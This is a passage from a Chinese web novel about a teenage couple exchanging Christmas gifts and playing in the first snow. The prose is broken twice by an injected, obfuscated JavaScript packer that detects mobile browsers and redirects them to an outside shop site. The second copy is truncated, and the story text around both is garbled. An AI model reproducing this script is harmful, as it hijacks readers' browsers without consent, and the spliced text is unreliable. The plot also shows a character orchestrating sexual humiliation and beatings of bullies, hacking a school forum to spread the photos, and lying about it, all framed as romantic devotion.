她借了韩山的杯子,接了杯凉水,打算先敷着,看看等会儿红痕能不能消退。 韩山注视着少女忙忙碌碌,黑眸平和。 他没想看她,只是注意力不自觉被她吸引,他自己都没察觉。 叶子拿杯子敷着脸,不经意与他对视,他立刻挪开了目光。 他翘腿坐在转椅上,若无其事拿起编程书翻,掩盖内心的慌乱。 叶子并未察觉他的不自然,弯弯眼睛,声音甜得像淬了蜜:“明天就是平安夜了,韩山,平安夜快乐。” 韩山心跳有些快,没抬头说:“嗯,平安夜快乐。” 叶子笑意盎然:“我给你准备了一个礼物哟,明天送你。” 韩山心跳更快了,他还能收到她的礼物吗? 他知道少女攒钱不容易,理性上不想让她送,可感性上却想要。 他喉结动了动,艰难说:“正好,我也有礼物要送你。” 其实几天前,他发现圣诞节就要到了,有想过要不要送她点什么,但那时他已决心退出她的世界,就不该再对她有任何幻想,他又打消了这个念头。 可是现在…… 死灰复燃。 他一定要送。 叶子杏眼顿时亮了,像盛了一湖粼粼星光,“哇!我好期待呢!会是什么呀?” 韩山很有信心,说:“你一定会喜欢。” 作为他们彼此交换的第一个礼物,一定要意义非凡。 叶子:“哎呀,我觉得我今晚要睡不着觉了!” 韩山目光温柔。 少女天真烂漫,想到什么说什么,对情绪的表达总是这么直接。 可他不是,他正好相反,他什么都说不出,哪怕他比她期待一万倍,也只是如此了。 她到底会送他什么呢?他什么都不缺啊。 叶子拎起书包走向他,“我能在你这写作业吗?我晚点再回家。” 韩山立刻起身,给她让位置,“可以。” 她想待多久都可以。 叶子高兴地坐在转椅上,往桌前滑了滑,拿出笔袋,书本。 韩山快速收拾了下桌面,把碍事的键盘拿走,顺手打开悬浮台灯,温暖的黄色护眼光洒在桌面上。 叶子左手用水杯敷脸,右手翻书写字,夜晚变得安宁美好。 韩山无事可做,靠在墙边看了她一会儿,屋外星辰闪烁,少女安安静静,笔尖摩擦纸面声沙沙响。 她身上带着能使人静下心来的魔力,在她身边,他竟然也想拿本书看看。 似乎有心灵感应一般,叶子突然抬头说:“你答应过我要好好学习的,你也别闲着。”她随手从书包里拿了本暂时用不到的课本递给他,“看会儿书吧。” 韩山接过来,是化学课本。 他玩笑说:“遵命,叶老师。” 叶子脸蛋微红,这是什么鬼称呼?她自动忽视掉,说:“有不懂的问我。” 少年笑得更肆意,“好啊。” 那他可得好好找找不懂的地方。 韩山拿着书走到沙发上坐下翻看起来,突然觉得学习也不是那么枯燥无趣。 他心思不正,专门抱着找问题的目的看,结果发现压根不用找,他好久不学习,所见之处皆不懂。 他挑了个看起来最难的,拿着课本来到叶子跟前。 “叶老师,我有问题。” 怎么还叫啊啊啊。叶子脸颊热热的,说:“什么问题?” “这块,完全看不懂。”他把课本放在她面前,单手撑在桌上。 叶子低头一看,是氧化还原反应那节,她失笑,“这块确实很重要,老师说,这是整个高中化学最重要的部分之一了。” 韩山心想,挑对了。 叶子:“那我从头给你讲吧,先看这两个化学方程式。” 韩山弯腰认真听她讲。 她身上有淡淡的香味,凑近了便能闻到。 课本上用两个化学方程式引入氧化还原反应的概念,叶子用笔尖指着说:“这个我们初中的时候学过,用碳还原氧化铜生成铜单质。在这个反应里,氧化铜失去氧,碳得到氧,对于碳来说发生的就是氧化反应,对于氧化铜来说发生的就是还原反应。” 韩山从初中开始就已经不好好学习了,很多知识都忘了,听得云里雾里。 叶子边讲边在方程式上面标,“反应物里面,氧化铜中,铜是正二价,氧是负二价,碳是零价,生成物里面,铜是零价,碳是正四价,氧还是负二价。我们会发现,在这个反应中,铜在降价,碳在升价,也就是说,发生氧化反应化合价升高,还原反应化合价降低……” 韩山越听越懵,很快失去了兴趣,转过头看她侧脸。 然而少女讲得认真极了,笔尖在课本上圈圈点点,做标记。 她声音温温柔柔,说话间呵出的气似乎都带着香。 韩山起初确实是想认真学的,但看着看着,他渐渐有些心猿意马。 她头发挂在耳后,乌黑的睫毛微垂,鼻尖翘翘的,唇瓣小巧通透,不断开合…… 他喉结动了动。 她耳后的头发蓦地垂下一缕,他下意识想抬手帮她挂回去。 他忍住了。 夜无比寂静,他耳边少女的声音渐渐远去,只剩下自己沉重有力的心跳。 叶子讲完这个知识点,转过头看着他,“能听懂吗?” 猝不及防四目相对。她以为他会看着书的,没想到他竟然看着她。 她微微一愣。 他们的脸挨得那样近,鼻尖快要碰到。 他有些出神,在她看过来后,他黑眸微垂,目光落在她唇瓣上。 少女的唇带着天然的粉色,水润柔软。 叶子忽然紧张,慌忙低头看着课本,心跳扑通扑通说:“韩山,你走神了。” 韩山回了一部分神,轻轻抿唇,感到懊恼难堪。 是啊,他走神了。 原来他也会对一个女生,产生那样的想法。 他挪开视线,深呼吸,平复心绪,冷下声道:“你学习吧,我不听了。” 叶子心思单纯,看不出少年的隐忍,说:“可是还没有讲完呀。” 韩山:“不听了。” 他没拿化学课本,转过身躺在沙发上,闭上眼睛没了声息。 叶子不知道他为什么突然就不高兴了,难道是她讲得不好? 算了,既然他不想听了,那就算了吧。 她低下头继续学习。 韩山躺了会儿,无聊拿出手机,长按开机,屏幕顿时弹出好几个未接电话。 玮琪打来的。 他晚上还有Kings的工作。 韩山一下子坐起来,才发现现在已经晚上九点了,超了他上班时间一个小时。 他不想像上次那样被电话打扰,将手机关了机,一时忽略了时间的流逝。 这时玮琪电话又来了,他没请假,人也没来,她着急找他。 韩山拿着手机起身,向仓库大门走去。 叶子抬头。 仓库里回荡着他的手机铃声: “Butifyouwannacry,Cryonmyshoulder,Ifyouneedsomeone,Whocaresforyou……” 是一个外国乐队的歌,《CryonMyShoulder》。 叶子也很喜欢这首歌,它的歌词写得很动人,她第一次听到他的手机铃声时就听出来了。 以这首歌作为铃声,一定有他的感触在吧。 她看着他到仓库外接电话,低头继续写作业。 仓库外,韩山接通电话,玮琪的咆哮震透耳膜:“你去哪了?怎么还不来上班!知不知道好几个大客户都在等你!” 韩山怕叶子听到,捂住听筒,压低声音说:“晚去一会儿。” 玮琪:“请假不能早说吗!手机还关机!能不能有点事业心!” 韩山:“没顾上,抱歉。” 少年一向桀骜,从没低过头。 电话那头沉默了片刻,声音终于平静了些,“几点能来?” 韩山回头看了眼仓库,说:“十二点之前。” 十二点是狂欢时刻,他知道他不能缺席。 叶子应该也不会待太晚。 玮琪顺了顺气,算他有点眼力劲儿。 换作别人不请假旷工她早就炒了,但对于韩山这棵摇钱树,她只能忍着:“行,等你哈,千万别像上次那样临时改主意不来!” 韩山挂了电话,走进仓库,下意识看向叶子,她低头认真写作业,应该没有听到什么。 韩山躺回沙发,闭目养神。 十点,叶子写完作业,照了照镜子,脸上的红痕淡了很多,仿佛糟糕的记忆也随之淡去,她欢喜地收拾书包,喊韩山送她回家。 韩山立刻起身,拿了机车钥匙出门。 叶子背上书包,屁颠屁颠跟在他身后。 夜寒凉,叶子一出门便一个激灵,打了个喷嚏。 韩山回眸,见她无意识地瑟缩,无言地又回到仓库,拿了一件干净没穿过的冲锋衣递给她,“穿上吧,路上冷。” 叶子杏眼微亮,没什么顾忌地接过来,穿上了。 黑色冲锋衣非常宽大,能塞下两个她,袖子长一大截,下摆到大腿。 叶子甩了甩袖子,跟水袖一样,忍不住笑,她现在这副模样一定很滑稽。 但是确实很暖和,像在他的怀抱里。 韩山感到无力,倘若他有车,她就不用在他后座上吹风受冻。 少女笑得天真烂漫,有个外套就很满足了,可他不能止步于此。 叶子上了他的后座,把帽子戴上,给自己裹得严严实实,“出发!” 她像一个骑士,驾驭自己的战马。 韩山无言拧动油门。 能成为这匹马,也是一种荣幸。 机车驶出狭窄的筒子楼,驶上宽敞的马路,超越路上的车辆,一往无前。 冲锋衣挡下了所有寒风,像骑士的战甲,夜的冷变得不堪一击。 机车驶入高架桥,桥下是灯红酒绿的繁华都市,车来车往。 高楼大厦林立,电子屏上滚动着一列字: 圣诞节快乐! MerryChristams! 叶子眼睛亮亮的,盛大的节日马上就要来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13743599|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒风中,叶子忽然听到韩山开口,轻轻的,像云在耳边散开:“以后不要随便去男生家里,很危险。” 那一刻他产生那样的想法,若非他的理智告诉他不能这样,他或许真的会吻上去,那么接下来的事情就会变得不可控。 她力气那么小,他若想怎么样,她毫无反抗的余地。 叶子困惑:“可是我不是刚从你家出来吗?” 也没什么危险啊。 韩山心中狼狈,是啊,他可以克制得住,别人呢? 万一她像今晚这样去别的男生家里……万一呢? 他哑声说:“除我之外。” 叶子笑起来:“哦,好的。” 韩山觉得难堪,可听她答应了,安心的感觉又胜过了难堪。 机车停在叶子家楼下,叶子把衣服脱下来还给他。 他今天穿的是黑色内搭,黑色皮衣,下身黑色工装裤,黑色马丁靴,一身黑,酷酷的,衬得银色项链更加耀眼。 他体质好,不怕冷,这样的穿搭对他来说正好。 叶子笑着提醒他:“降温了,多穿点,不要感冒了哦。” 韩山轻声应:“嗯。” 为了让她安心,他长腿支着机车,穿上冲锋衣。 衣服上留下了她的味道,淡淡的香,环绕着他。 他身材很好,皮衣外面套冲锋衣,却并不显得臃肿。叶子身上宽大又长的衣服到他身上正正好,还格外有型好看。 果然衣服还是该由真正的主人穿。 叶子与他告别,蹦蹦跳跳跑进楼道。 韩山抬头,望着楼道窗户的灯一层一层亮起,调头离开。 回去路上,他油门拧到底,风驰电掣,银发被风扬起。 他给一个号码打去电话:“喂,顾老板,帮个忙呗。” 这是他通过翁方海认识的人脉,今天欺负叶子的人,他一个都不会放过。 少女心地善良,宽容大度,但他不是,他心眼小得很,敢碰他的人,就要付出成倍的代价。 明天不是平安夜吗,他要让他们对这个平安夜,永世难忘。 * 第二天,叶子抱着她给韩山准备的礼物坐公交来到仓库,敲响了仓库的铁门。 今天坐公交的人好多,她没有座位,艰难地护着怀里的礼物挤在人群中。 公交颠簸,她好几次差点摔倒,还好礼物没事。 韩山知道叶子今天会来找他,从Kings下班后回来睡了。 叶子等了一会儿,铁门打开,她把礼物举起来挡在面前,欢喜地说:“平安夜快乐!” 韩山微微瞠目,残存的困意一瞬间消散。 是一株向日葵。 在他面前的,少女送他的礼物,是一株扎根在土壤中,生机勃勃的向日葵。 不是剪下来的花束,更不是没有温度的塑料花,而是一株活生生的,正在盛放着的花朵。 叶子的脑袋从向日葵后探出来,杏眼亮晶晶的,“怎么样,喜欢吗?” 那天路过花店,她便萌生了送韩山一束花的念头。 可是再鲜艳的花朵终究会枯萎,逃不开被丢掉的命运,她不希望这样,她希望她送他的第一个礼物,是可以常常陪伴他左右的。 她想到了假花,可是假花没有生命,终究是假的。 于是她想,送他一株活的花。会活很久很久,会常年盛开的花。 他的房间除了黑就是白,太死气沉沉了,一盆绿植,也能给他的房间增添些色彩。 她跟老板讨价还价,花光了火锅店打工攒的钱,终于买到一盆向日葵。 韩山黑眸微颤,他猜了很多种可能,完全没想到答案会是这个。 叶子发现他眼里没有悦色,以为他不喜欢,任性说:“我不管,你不喜欢也得喜欢。”她抱着向日葵走进仓库,放在他窗下。 他的窗户常年由厚重的黑色窗帘遮挡,光线透不进来,白日里也像夜晚般昏暗。 叶子一把拉开他的窗帘,明亮的阳光顿时倾洒进来,照亮整个仓库。 韩山的眼睛被晃了一下,他眯眼,少女沐浴在阳光下,发丝跳跃着金色光圈,像一个从天而降的天使。 叶子甜甜对韩山说:“向日葵需要晒太阳,所以要经常把窗帘拉开哦。” 韩山的心脏剧烈震颤。 少女沐浴着冬日温暖的阳光,隔着一段距离,柔柔问他:“韩山,你最喜欢的花是什么呀?” 韩山没有喜欢的花,他是个没有什么生活情趣的人,他觉得花朵娇嫩,脆弱,难以养活,并不适合他。他也不喜欢花花绿绿的东西。 可是现在,此时此刻,他有了。 他喉结动了动,艰难说:“最喜欢……向日葵。” 叶子开心说:“好耶!歪打正着了!” 韩山没法告诉她,不是正好,是她送什么,他便喜欢什么。 他看向那株向日葵,心里软软的。 她突如其来闯入他的生活,就像照进他生活的一束阳光,他愿意成为这株向日葵,永远追随她,向往她。 韩山:“你哪来的钱买这个?” 在冬天买夏天盛开的花,一定很贵吧。 叶子:“火锅店赚的钱呀!” 不过这样她专辑就没法买了,还要重新攒,又要三个月…… 想起这个,她又有些沮丧。 韩山低头轻笑,打开抽屉,拿出他给她准备的礼物。 叶子眼睛顿时亮了。 竟然、竟然正是那张专辑! “喜欢吗?”韩山将专辑递给她。 是一手的,未拆过封的,包着塑封的,正版专辑! 叶子难以置信,小心郑重地接过来,感到鼻尖发酸,感动得要哭了。 她花光了买专辑的钱送他礼物,而他送她的礼物,就是专辑。 冥冥之中,像有天意。 叶子:“你从哪买到的?这个不是已经抢光了吗?” 韩山笑笑说:“秘密。” 他人脉广,弄个这个轻而易举。 叶子眼睛弯成两个月牙,简直爱不释手。 韩山就知道她喜欢。 她身为年级第一,标准的好学生,乖乖女,那天,竟为了一张专辑逃课。 她一定很喜欢这个歌手吧,跟他一样。 也正是因为这张专辑,他们在胡同口相遇。他知道了,原来她就是那个字写得特别好看,霸榜年级第一的少女。 再后来,他们每次见面总是伴随着专辑中的歌曲,《龙卷风》,《伊斯坦堡》,《星晴》…… 这张专辑是一场见证。 世上不难遇到心动的人,难的是遇到了解。 他懂她的喜好,懂她的困境,几次于危险中拯救她,带给她希望。 而她看透他内心的逃避和脆弱,逼他走出黑暗,站在阳光下。 他心里百转千回,千言万语,可出口却只有一句淡淡的:“快期末了,好好学习,不用去打工了。” 叶子破涕为笑,的确,不用再打工了。 她想要的,都已经得到了。 37. 可爱女孩【双更合一】 圣诞节那天是周一,下了雪。 t省位于南方,很难下雪,这是几年来的初雪。 薄薄一层雪花,将整个世界妆点成银色。 韩山依然没来上课,但让叶子意外的是,董婉凝也没来上课,座位是空的。 雪下得虽然小,但飘飘洒洒,一直不停。 积雪厚了起来。 天气原因,没有升旗,大课间也没有跑操,教导主任秃驴打开广播喇叭,强调起安全问题,反复提醒同学们上下学注意安全,尽量结伴而行,放学赶紧回家,不要在外面逗留。 大家一时议论纷纷。 “这是又发生什么了吗,秃驴怎么突然开始强调安全了?” “可能是因为下雪?” “不可能吧,如果只是因为下雪,重点不应该是地面湿滑,小心慢行,何必要强调结伴而行,赶紧回家呢?” “我听说,好像是因为那个谁出事了……” “谁啊?”…… 叶子向来不关心这些八卦,没有刻意去听,喊秦夏一起上厕所。 路上,秦夏神秘兮兮给她说:“你听说了吗,董婉凝的事。” 叶子诧异:“她怎么了?没听说啊。” 秦夏神色凝重地把她拉到角落,小声说:“她昨天夜里被扒了衣服,差点被强.暴!” 叶子倒吸一口冷气,惊骇捂住嘴巴。 秦夏:“还有她那三个跟班,也被扒了,都没来学校……你不觉得有些太巧了吗,你那天在食堂被他们扒衣服,这转眼她们就也被扒了,还差点被!你说不会是韩山——” 在替你报仇吧? 最后这半句话她没敢说出口。毕竟这可不是小事。 叶子也意识到不对劲,脸色微白。 放学她得问问韩山。 叶子以为这样的事情已经足够恐怖,没想到还有更恐怖的。 下午课间,同学们的手机同时收到推送,学校论坛上出现一个匿名贴子,里面放了几十张照片,有那四个女生的,还有封迎虎那伙人的。 照片里,女生们衣衫不整,十分暴露,封迎虎那伙人,竟被鞭子抽得浑身是伤,血肉模糊,惨不忍睹。 同学们一时间全炸了,恐惧的氛围充斥了整个年级,人人自危,老师、校领导都被惊动。 贴子发出来不到五分钟,又被不留痕迹地删除,学校连查都没法查。 发帖人好像只是为了通知学校一声似的,所有人都知道后,便悄无声息地删除。 叶子没带手机,没能第一时间看到,但秦夏看到了,凭秦夏的描述,叶子起了一身鸡皮疙瘩。 同学们都在议论,说他们这群人是不是得罪了什么人。 秦夏更害怕了,也更确信肯定就是韩山在背后推波助澜,那天欺负她和叶子的共两拨人,偏偏是封迎虎那拨人出了事,而阿天那拨人却没事,指向性已经很明显。 她不敢细想叶子认识的到底是个什么人,能下这么狠的手。 叶子同样害怕极了,这天放学回家,第一件事就是给韩山打电话。 韩山刚洗完澡,擦着头发出来,拿起手机,看到来电显示,知道她想说什么,平静按下接通键。 叶子连忙说:“喂,韩山?” 她的声音紧张,急切。韩山擦头发的动作慢慢停下来,轻轻应:“嗯。” 叶子抿唇,小声问他:“是你做的吗?” 她很怕答案是肯定的,更怕答案是否定,因为她还没说什么事。 韩山下身系着浴巾,毛巾搭在肩膀,语气淡淡:“什么?” 叶子:“那些人……” 韩山:“哪些?” 叶子稍微安心,他似乎完全不知道这件事。 她给韩山说了在学校发生的事情,韩山心跳平缓,说:“不是我。” 这是实话,动手的的确不是他,也不会有任何证据证明是他。 整件事中,他只不过是发发帖子删删贴子,顺便发个推送。 他擅长计算机和网络系统,侵入学校网站易如反掌。 叶子松了口气,她相信他。 她认真叮嘱他说:“韩山,你一定不能干违法的事情。知道吗?若是有了犯罪记录,会是一辈子的污点。” 韩山垂下眼帘,声音又低又轻:“嗯,放心吧。” 叶子彻底安心了,与他告别挂了电话。 听筒传来冰冷的嘟嘟声,韩山默了默,黑眸渐渐变得锐利冰冷,对着已经挂断的电话说:“善意的谎言,应该不算谎言吧?” 他按下挂断键,手机息屏。 他向来不相信什么正义、公道,作恶的人永远不会被宽容与善意感化,永远都是社会的败类。 他只相信以暴制暴,以恶止恶。 他说过他会为她报仇,就一定会做到。 他打开音响,放空陷在沙发里,烦躁揉了把湿漉漉的银发。 轻松的旋律飘出来: 世界这样大而我而我 只是只小小小的蚂蚁 但我要全力全力全力保护你 韩山不经意恍了神。 是那首《可爱女人》。 歌词唱入他的心境,他内心柔软地想:不过他的女孩,还不是女人。 * 今天圣诞节,班里本来组织了聚会,因为那件事爆出来,班里人心惶惶,聚会又取消了。 叶子安心在家学习。 就算不取消她也不会去,她还记得答应韩山的报答,要考第一给他看呢。 雪纷纷扬扬下了一整天,越下越大,她的房间开着电暖炉,暖融融的。金黄的光铺满整个房间。 窗外是鹅毛大雪,她在屋内安静地学习,笔尖摩擦纸面声轻响。 晚上十点,雪还没停,今年是个寒冬,看来雪还要下一整夜。 韩山跟玮琪请了假,今晚他的时间是自由的。 地上积雪已经很厚,他穿风衣出门,举着一把黑色的伞,一步一步,来到叶子家楼下。 他抬头,她房间的灯亮着。 她的小区破旧,能搬走的基本都搬走了,留下一些老人,没有什么节日气息。 下着雪,老人也不出门,厚厚的积雪上一个脚印都没有,只有他自己过来时孤零零的一串,显得格外寂寥。 他吐出一团雪白的哈气,她现在肯定在学习吧,他还是不要打扰她了。 可是想见她的这份心情要如何纾解? 他低下头,积雪寥落空旷,像是他的心。 他想着她,在积雪上踩出一个一个脚印,绘成图案。 以前他见过小孩子们这样做,他总觉得幼稚,嗤之以鼻,他没有想到,自己也会有如此幼稚的一天。 图案绘好,想见她的心情更加难以抑制,他抬头望着她的窗户,拨通了她的电话。 就听听、听听她的声音。 叶子手机铃响,她拿起来一看,是“阿弥”,毫不犹豫欣喜地接起来,“喂?怎么了?” 甜蜜的少女音。 韩山的心跳不经意被拨动,他抿唇,轻声说:“看窗外。” 叶子一惊,立刻起身,擦掉玻璃上的雾气,向外看去。 路灯洒下橘黄的光,苍茫雪地上,有一个用脚踩出来的树叶图案。少年一身黑,站在树叶叶尖,举着手机,抬头望着她。 叶子心跳飞快,“你、你怎么过来了?” 想着你,不知道怎么就走到了这里。 韩山抬头看着被玻璃上雾气环绕的小脑袋,扬起唇角,问:“作业写完了吗?” 叶子:“写完了,现在在复习。” 韩山闭了闭眼,内心挣扎,他不想打扰她学习,可是他好想见她。 这可是几年都不一定有一次的初雪啊。 他哑声说:“能借我半小时吗?” 他要的不多,半小时就好,一个大课间。 叶子笑了,轻快说:“好呀,正好学累了放松一下,我这就下来,你等会儿。” 叶子挂了电话,打开衣柜翻找衣服。 韩山撑着伞,在雪地中等她,不一会儿,楼道口跑出一个雪白的身影。 她今晚穿的是一件米白色长款羽绒服,羽绒服自带一个兔子耳朵的帽子,下身是灰色打底裤,白色雪地靴。 她蹦蹦跳跳快乐地跑进他伞下,仰头说:“圣诞节快乐韩山!” 韩山低头看着她,眉宇间生出温和的笑意,“嗯,圣诞节快乐。” 大雪在他身后簌簌飘落,他黑曜石一般的眼眸映着积雪反射的光,格外明亮。 叶子拉住他的袖管,带他走,“我们小区里有个公园,我们去那里逛逛吧。” 韩山任由她带领着,说:“好啊。” 少女深一脚浅一脚,走在他伞下。 他的伞无言地向她倾斜。 公园不远,穿过旁边那栋楼,往前走到头便是。 平常这个公园只有一些中老年人会来,下雪了,便一个人也没有。 公园灯火通明,照亮纷飞的雪花,叶子跑出韩山的伞下,撒欢地在雪地中奔跑,欢呼,张开双臂转圈圈。 她闭着眼睛,深吸一口气,空气凉凉的,带着冰雪的味道。 她好喜欢下雪。 雪不断飘落,叶子伸出手,新奇地看着雪花落在她掌心,迅速融化成晶莹的水痕。 南方很少下雪,她记忆中上一次下雪还是在小学,那时她还小,抵抗力差,李丽然不让她在外面玩,她只能趴在窗边看雪,看小伙伴们在楼下打雪仗,堆雪人。 那时,雪是可望不可即的白月光。 现在她长大了,不再需要妈妈的庇护,曾经的那些小伙伴们陆续搬走,淡出她的生活,她终于可以毫无顾忌站在大雪中,而身边陪她一同看雪的,是他。 不知道下一场雪,她的生活又会是怎样的呢? 叶子眼睛亮晶晶回头,少年举着伞,修长的身影站在灯光下。 她笑起来,蹲下身团出一个雪球,远远向他砸过去,“看招!” 韩山一直注视着她,目光平静柔和,看她开心,他便也觉得满足。 她砸来的雪球,他随便用伞一挡,雪球砸在伞上,发出一声轻响,便散开来。 他是连刀子都能躲开的人,这点攻击,无足轻重。 叶子娇嗔喊道:“哎呀你作弊!不许用‘盾牌’!”她说着又团出一个雪球,再次向他砸去。 韩山这次听她的,没有用伞挡,而是背过了身。 雪球砸在他背上,从他黑色风衣上滑落。 叶子开心地跳了跳,他那么厉害,身手那么好,不还是被她打中? 她欢快地跑过去,把伞从他手中拿走,随便丢在地上,拉着他跑到广场中心,“来啊一起玩!” 她的睫毛上挂了晶莹的雪花,衬得她明眸善睐,脸蛋上染着浅浅红晕,元气极了。 韩山很少这样无拘无束地奔跑,此刻大雪纷飞,他的心却在放晴。 他唇角轻勾,“赢了有什么好处?” 哇,这人好嚣张!还想要好处! 叶子娇纵说:“没有好处,玩不玩!”她迅速跳开,抓起雪在掌中团成球,向他扔去。 “玩!”韩山被激起了胜负欲,立刻躲开,顺手抄起一把雪,一捏变成球,扔向叶子。 叶子慌忙跑开,然而她刚躲开,韩山第二个雪球就过来了,稳稳砸中她的手臂,她尖叫一声,“啊!” 韩山笑意更浓,“不怕输得很惨吗?”他接着捏雪球扔她。 叶子不甘示弱,“现在才一比一平!我不会输的!”她一边躲一边反击他。 “好啊,那就来试试。” 雪球在空中来回划过,叶子一次没击中韩山,却被韩山接连砸中后背,肩膀,侧腰,腿…… 啊啊啊他怎么这么厉害!叶子突然能体会被韩山揍过的那些男生的感觉,简直是!无!可!奈!何! 她哼了一声,转变战术,不再躲了,反过来去追韩山,“现在该我了!” 她向他扔去雪球,韩山后退着躲开,又砸中她身体好几下,叶子被虐得体无完肤,毫无游戏体验,抓狂喊道:“啊啊韩山!!!我要打死你!!!”她扬起拳头去追他。 韩山不断后退,笑得恣意张扬,说:“认输吗?” 叶子追不上他,气呼呼停下来,扶着膝盖说:“哼哼!你这样以后找不到老婆的!” 韩山蓦地一怔。 叶子再次去追他,忽而踩到什么,脚下一滑,向前摔去。 “啊呀!” 韩山神色微变,他们之间隔着一段距离,他连跑带滑,立刻冲到她面前,接住了她。 预想中的疼痛并没有出现,叶子扑进一个结实温暖的怀抱,嗅到清凉的冰雪气息。 她睁开眼,看到少年□□的胸膛。 她抬眸,他目光紧张,紧紧地抓着她,有力到她有些疼。 夜倏尔安静,叶子听见雪落下的声音,听见自己的心跳。路灯明亮,将二人的影子拉得很长,仿佛拥抱。 叶子一直追不上他,这下终于近在眼前,她无措了一瞬,用拳头砸他胸膛,“欺负人欺负人欺负人!” 韩山眼里的紧张化开,轻笑着,任由她打。 叶子重重锤他:“哼!太过分了!都不知道让着点女孩子!你这样我怎么打得过你嘛!” 她的力气在那摆着,使多大劲都无关紧要,一下一下像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶子自拍够了,开始拍雪景,被积雪压低的松枝,结冰的喷泉池,池边悬挂的冰凌,孤独耸立在大雪中的路灯……一处一处,皆是风景。 韩山的镜头跟着她移动,拍下她拍照的每个瞬间。 少女并不知道,她在拍风景的同时,也是别人的风景。 手机显示十一点一刻,还有五分钟,“大课间”就要结束了。 韩山从不感叹时间的流逝,他日子过得单调无趣,时间对他来说只是煎熬。 可这一刻,他虔诚地希望时间过得慢一点。 叶子的镜头蓦地对准了他。 她景也拍够了,终于想起被她遗忘在雪地中的少年。 韩山收起手机,捡起地上的伞,向她走去。 叶子连连按下快门,她刚才怎么没发现,一袭风衣,举着伞的少年简直帅极了,简直就像韩漫中的男主。 他一步一步走来,黑色身影与雪白的世界形成强烈反差,她不知不觉看出了神。 韩山走到她面前,手掌按下她的手机,把伞伸过她头顶,“到点了,送你回去。” 叶子回过神来,看了眼手机上的时间,不情不愿嘟囔说:“好吧……” “走吧。” “等下!” 韩山回头。 叶子跑到公园的长椅前,弯腰写字。 那里也积了一层厚厚的雪,平整无暇。韩山走过去。 叶子用指尖作笔,在积雪上一撇一捺,写出潇洒漂亮的行楷字: 平安顺遂,喜乐无忧 她写完惯例画了个树叶图案,在旁边按下自己的掌印,转过身快乐地对韩山说:“瑞雪兆丰年,初雪是吉祥之兆,听说在初雪许愿很灵的,你有没有什么愿望?一起许呀。” 韩山向来不信这些东西,笑笑说:“这都是迷信,我是唯物主义。” 叶子惊讶:“哎呀,你还知道唯物主义呀!这不是高二政治才会学的吗?” 韩山自然知道,有些东西韩家早就会教。他转身,“走了。” 一会儿晚点了。 叶子把他拉到椅子前,“别这么扫兴,人生总要干些傻事嘛!许一个许一个!” 韩山笑着,没法拒绝,语气温软:“那就,跟你一样。” 也希望她平安顺遂,喜乐无忧。 然而叶子听不出他这层意思,她单纯地以为,他只是希望自己也能平安顺遂,喜乐无忧。 他随之弯腰,在叶子的掌印旁边,按下自己的掌印。 一只小手一只大手,对比明显。 叶子忍不住笑,把自己的手放在他掌印中比了比,感叹:“哇,比我大了一个指节还多呢!” 韩山心中无奈难言,她这样纯真懵懂,毫无顾忌,可这样的动作,在他眼里,偏染上几分暧昧颜色。 他将伞伸过去罩住她,“走了。” 回去的路,叶子走得比来时慢很多,她望着漫天飞雪,出神地说:“韩山,你未来想做什么呢?我想当一名人民教师,教书育人,桃李满天下。你呢?”她转过头看他。 “我啊……” 他吸了口气,目光放远,似乎在看很遥远的过去,轻轻地说:“我不知道我要做什么。” 很久以前,他也曾天真赤诚,满怀希望,对别人说出自己的梦想。 可那件事之后…… 叶子笑起来,说:“可以去当兵哦,你身手好,只有保家卫国,才不至于浪费。而且……”她上下看他,“你应该也没有纹身什么的吧?” 韩山弯唇,心中泛起苦涩,她果然也想到了当兵。 曾几何时,他母亲摸着他的头,温柔地对他说:“要好好训练哦,这样才能保护妈妈,将来保卫国家。” 然而他没有保护好妈妈,也失去了保卫国家的资格。 他轻声说:“当兵要求很严格的,不止不能纹身。我恐怕……不够格。” 叶子遗憾道:“好吧……”她想了想说:“你一定要好好学习呀韩山,能力固然重要,但学历是个敲门砖,这样万一哪天你突然有了想做的事,也能随时去做。没有学历的话,有能力别人也不会给你机会展现。你知道吗?” 韩山自然知道,可他这样一个在泥里摸爬滚打的人,连未来都不一定有。 谈何梦想。 他现在只希望她的梦想能实现,那样,他也算圆满。 他说:“嗯,希望我们的梦想都能实现。” 她一定一定,会成为一个很出色的人民教师。 38. 默契 雪下了两天终于停了。 那件事随雪而来随雪而去,很快被同学们淡忘,学校似乎也有意在压那件事,老师们闭口不提。 月底了,同学们愈发浮躁起来,开始期待元旦假期和寒假。 元旦刚好是周一,学校提前发了调休通知,周六上周一的课,周日上周二的课,同学们哀嚎一片。 “合着就一天假啊!还要连上七天课!这假放不放吧!” “谁发明的调休啊!太反人类了!” 叶子倒是无所谓,反正她在哪都一样学,而且她现在已经有专辑了,火锅店的工作已经辞了。 周六晚上,叶子写完作业,打电话给韩山,明天就是零零年最后一天了,她希望他可以来上课。 上次见面还是圣诞节初雪那晚,这么多天过去,他不来上课,也不知道在干什么。她好担心他的期末考试呀。 下学期就要分文理,他要她考第一,可是这样的话,他还怎么跟她一个班呀? 韩山这晚陪顾老板吃饭,顾老板帮了他大忙,他得有所表示。桌上还有顾老板的一众朋友,顾老板一一介绍给韩山认识。 韩山手机开了静音,感觉到震动,拿起一看,是叶子的号码。他起身,礼貌说了声失陪,到包间外接电话。 他靠在墙上,按下接听键,“怎么了?” 叶子感觉不对劲,他接电话接得很慢,声音低沉微哑,似乎有醉意。 她有种不好的直觉:“韩山,你干嘛呢?” 韩山确实喝了酒,这样的饭局,不可能不喝,他说:“吃饭呢。有事吗?” 